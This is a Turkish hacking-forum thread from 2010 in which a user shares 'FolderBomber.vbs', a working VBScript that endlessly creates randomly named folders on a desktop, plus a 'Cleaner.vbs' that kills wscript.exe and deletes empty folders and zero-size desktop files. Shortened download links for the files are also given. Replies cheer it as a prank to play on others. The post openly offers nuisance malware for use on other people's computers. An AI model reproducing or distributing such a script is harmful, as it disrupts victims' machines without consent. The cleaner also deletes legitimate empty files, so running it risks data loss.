THT DUYURU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

masa üstü klosör virüsü

kızılgün - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2009
Mesajlar:
172
Konular:
10
Teşekkür (Etti):
8
Teşekkür (Aldı):
5
Ticaret:
(0) %
11-02-2010 10:27
#1
masa üstü klosör virüsü
gecen gün bana 1 arkadaş yolladı çok hoşuma gitti sizlerle paylaşmak ıstedim
Buyrun

Öncelikle alt tarafta verdiğim kodu txt dosyasına yapıştırıp farklı kaydet deyip FolderBomber.vbs olarak kaydediniz



kodlar

Alıntı:
'----------------FolderBomber.vbs---------------
Alıntı:

'Made by türk
'web site https://tik.lat/Ffg76
Dim fso,sho,basfolder,bf
Set fso = CreateObject( "Scripting.FileSystemObject" )
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")' Get your Desktop Folder
Set bf = fso.GetFolder( basefolder )
do
Randomize
r=Int((99999*Rnd)+1)
bf.subFolders.Add("by türk_"&r) 'Create Folders with names begin with by türk and a random Number in your desktop
wscript.sleep 1000 'Pause of 1 second and continue the loop
loop

buda temizleme kodu

Alıntı:
'----------------Cleaner.vbs---------------


Alıntı:

'Made by türk


Dim fso, f, f1, fc, ss

Set fso = CreateObject("Scripting.FileSystemObject")
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")
Set f = fso.GetFolder( basefolder )
Set fc = f.SubFolders
NomFichierLog="Dossiers_Vides"
temp = sho.ExpandEnvironmentStrings("%temp%")
Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)







count=0 'initialisation du compteur des Dossiers vides

NBfichier=0 'initialisation du idesvompteur des fichiers

' Tuer le processus wscript
sho.run "Taskkill /IM wscript.exe /F", 0
'Boucle pour la recherche des Dossiers vides
For Each f1 in fc
If f1.size = 0 Then
count= count + 1
OutPut.WriteLine f1.Path
f1.delete
End if
Next
'Boucle pour la recherche des fichiers vides
For Each Fichier in f.files
if Fichier.size = 0 then
NBfichier=NBfichier+1
OutPut.WriteLine Fichier.Path
Fichier.delete
end if
next
Msgbox count& " Dosya Temizlendi",64,"by türk Virüs Temizleme"
Msgbox NBfichier& " Virüslü Dosya Kaldı",64,"by türk Virüs Temizleme"






buda bazı arkadaşlara zor gelır dıye upload ettım ındırsınler

https://tik.lat/xwwKJ

İsteyen kendi pc denesin temizleme kodu var süper 1 şey herhangi 1 zarar vermiyor bizzat kendim denedim
--------------------- [DOST DEDİĞİN ÖLÜME GİDİYORUZ DEDİĞİN ZAMAN NEDEN ?
DİYE SORAN DEĞİL NE ZAMAN GİDİYORUZ DİYENDİR]
Konu kızılgün tarafından (11-02-2010 10:44 Saat 10:44 ) değiştirilmiştir.
dewilboys Teşekkür etti.
kızılgün - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2009
Mesajlar:
172
Konular:
10
Teşekkür (Etti):
8
Teşekkür (Aldı):
5
Ticaret:
(0) %
15-02-2010 21:40
#2
pm den atmışsın kardeş sorun yok kullanabilirsin
--------------------- [DOST DEDİĞİN ÖLÜME GİDİYORUZ DEDİĞİN ZAMAN NEDEN ?
DİYE SORAN DEĞİL NE ZAMAN GİDİYORUZ DİYENDİR]
ceyhann19 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2009
Nereden:
Çorum
Mesajlar:
496
Konular:
8
Teşekkür (Etti):
29
Teşekkür (Aldı):
39
Ticaret:
(0) %
16-02-2010 11:56
#3
sağol çok süper şaka olur bunla
magarex - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2010
Nereden:
Philadelphia
Yaş:
29
Mesajlar:
1.022
Konular:
104
Teşekkür (Etti):
8
Teşekkür (Aldı):
154
Ticaret:
(0) %
16-02-2010 12:30
#4
bunlar daha bi şey mi
--------------------- Turkhackteam/Magarex
ward - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2009
Nereden:
.....................
Mesajlar:
870
Konular:
57
Teşekkür (Etti):
2
Teşekkür (Aldı):
180
Ticaret:
(0) %
16-02-2010 13:22
#5
eywallah ...
--------------------- [SIGPIC][/SIGPIC]


TÜRK OLMAK ŞEREFTİR ŞEREFİN TAVİZİ OLMAZ...

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler